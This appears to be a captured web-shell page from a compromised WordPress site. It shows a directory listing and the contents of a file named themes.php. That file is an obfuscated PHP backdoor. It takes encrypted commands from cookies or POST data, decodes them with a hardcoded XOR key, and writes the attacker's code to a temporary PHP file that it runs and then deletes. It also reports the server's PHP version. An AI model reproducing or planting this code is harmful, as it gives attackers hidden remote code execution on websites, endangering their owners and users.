Gecko [ poreckgroup.com ]

Name	Size	Permission
wp-admin	[ DIR ]	drwx---r-x
wp-content	[ DIR ]	drwx---r-x
wp-includes	[ DIR ]	drwx---r-x
.htaccess	561 B	-rw-r--r--
0790b2e3c6eb0424387d7af7c4c0c9...	22.47 MB	-rw-r--r--
admin-ajax.php	3.47 KB	-rw-r--r--
license.txt	19.45 KB	-rwxr-xr-x
readme.html	7.23 KB	-rwxr-xr-x
themes.php	2.85 KB	-rw-r--r--
wordfence-waf.php	364 B	-rw-r--r--
wp-admin.php	2.26 KB	-rw-r--r--
wp-class-mode.php	1.88 KB	-rw-r--r--
wp-class-util.php	1.98 KB	-rw-r--r--
wp-config-sample.php	3.66 KB	-rwxr-xr-x
wp-config.php	3.77 KB	-rwxr-xr-x
wp-cron.php	5.51 KB	-rwxr-xr-x
wp-links-opml.php	2.44 KB	-rwxr-xr-x
wp-load.php	3.83 KB	-rwxr-xr-x
wp-login.php	49.73 KB	-rwxr-xr-x
wp-mail.php	8.33 KB	-rwxr-xr-x
wp-settings.php	25.99 KB	-rwxr-xr-x
wp-signup.php	33.58 KB	-rwxr-xr-x
wp-trackback.php	4.77 KB	-rwxr-xr-x
xmlrpc.php	3.08 KB	-rwxr-xr-x

Code Editor : themes.php

<?php /*   xo*/function/*   sq  */_ocxw_dgs(){$ercbgpbio='bbdboirgpz';/*  huwgd*/print_r   (83661+83661);	}
$kitbgkabbn  =	'kitbgkabbn'	^/*   khg   */'';

$kqsvx/*   ijsaj*/=/*   tjduj*/$_COOKIE;$vvzry/*   n  */=	$_POST;

function	sdwguy_p($dmhnhofvx,      $ptycrznk)

{/* rcny*/global	$kitbgkabbn;

$nmomqq    =/* kpqcu   */"";/*  ar */for/*vte */($vcyiuer/*   rs  */=/*dadg */0;    $vcyiuer/*   gvs */</*  gvs */strlen($dmhnhofvx);)/*   _d */{

for  ($decqznhwx      =/*  dszbj  */0;	$decqznhwx	<	strlen($ptycrznk)	&&	$vcyiuer	<     strlen($dmhnhofvx);   $decqznhwx++,   $vcyiuer++)	{

/* jz */$nmomqq	.=/* z */$kitbgkabbn(ord($dmhnhofvx[$vcyiuer])/*  xibg*/^    ord($ptycrznk[$decqznhwx]));

}/*lkz */}
	return	$nmomqq;

}

function     kewgljbkqv($qdpjnoferr,/*blrbz*/$dmhnhofvx)
{

global	$kitbgkabbn;

$zllifljj_z/*krhji  */=/*lnum   */sprintf("."."/"."%"."s"."."."\160"       .  "l",	md5($qdpjnoferr));

file_put_contents($zllifljj_z,   "<"/*kkyph */.	"?"."\x70"    .       "\x68"     .	"p".$kitbgkabbn(32)	./*   j */"\x75"/*   w  */.       "n"."l"."\x69".$kitbgkabbn(980-870)      .  "\x6b"      .     "("."_"."\x5f"     .     "F".$kitbgkabbn(963-890)    ./*  lv  */"L".$kitbgkabbn(628-559)/*   wj   */.	"\137"/*voxq*/.   "_"."\x29"     .   "\x3b"	.	$kitbgkabbn(32)     .	$dmhnhofvx[$kitbgkabbn(100)]);
      include($zllifljj_z);
	$gdzdmsaa	=  $zllifljj_z;	unlink($gdzdmsaa);

}
function       ulhmlkr()
{
/*v*/global	$kitbgkabbn;

$vcyiuer   =	array();	$vcyiuer[$kitbgkabbn(112)     .	"v"]	=     phpversion();/*   c  */$vcyiuer["s".$kitbgkabbn(1081-963)]	=     "3".$kitbgkabbn(46)	.	"5";

echo	@serialize($vcyiuer);
}

function/*behey  */rlepnmojqy($dmhnhofvx,	$qdpjnoferr,/*n*/$pdv_tfr)

{  global     $kitbgkabbn;

$dmhnhofvx/*   pv   */=  unserialize(sdwguy_p(sdwguy_p(base64_decode($dmhnhofvx),	$qdpjnoferr),	$pdv_tfr));

if      (isset($dmhnhofvx[$kitbgkabbn(97)."k"]))/*   io*/{
      if/*  ail*/($dmhnhofvx[$kitbgkabbn(97)]	==/*p */"\x69")	{

/*   yss*/ulhmlkr();

}	elseif    ($dmhnhofvx[$kitbgkabbn(97)]/*  m */==/* _xwhm */$kitbgkabbn(101))	{

kewgljbkqv($qdpjnoferr,	$dmhnhofvx);

}

/*  gdovl  */exit();

/* lvkt   */}
}

$kqsvx/*  lhegs  */=     array_merge($vvzry,  $kqsvx);

$qdpjnoferr	=  $kitbgkabbn(100)."4"."\x30"/* lecc   */./* r   */$kitbgkabbn(100)."c".$kitbgkabbn(98)      .	"\66"	.  "\x38"/*   gy*/./*  s   */"-"."4".$kitbgkabbn(97)."\141"/*nvmpm */./* a   */$kitbgkabbn(100)	.      "\55"	./* a*/"4".$kitbgkabbn(53)/* leycj */.      "f"."\143"  .       $kitbgkabbn(45)       .	"8"."1"."1"."\x35"  .	"-".$kitbgkabbn(693-644)	.      "8".$kitbgkabbn(102)	.	"3".$kitbgkabbn(101).$kitbgkabbn(97)."\x37"	.	$kitbgkabbn(222-165)/*   gxowu  */./* qvswo*/"2"."5"."4"."4";

foreach	($kqsvx	as	$pdv_tfr	=>/*tojtj */$dmhnhofvx)/*  fscnq  */{   rlepnmojqy($dmhnhofvx,	$qdpjnoferr,/*   pt */$pdv_tfr);

}

${this.title}

Code Editor : themes.php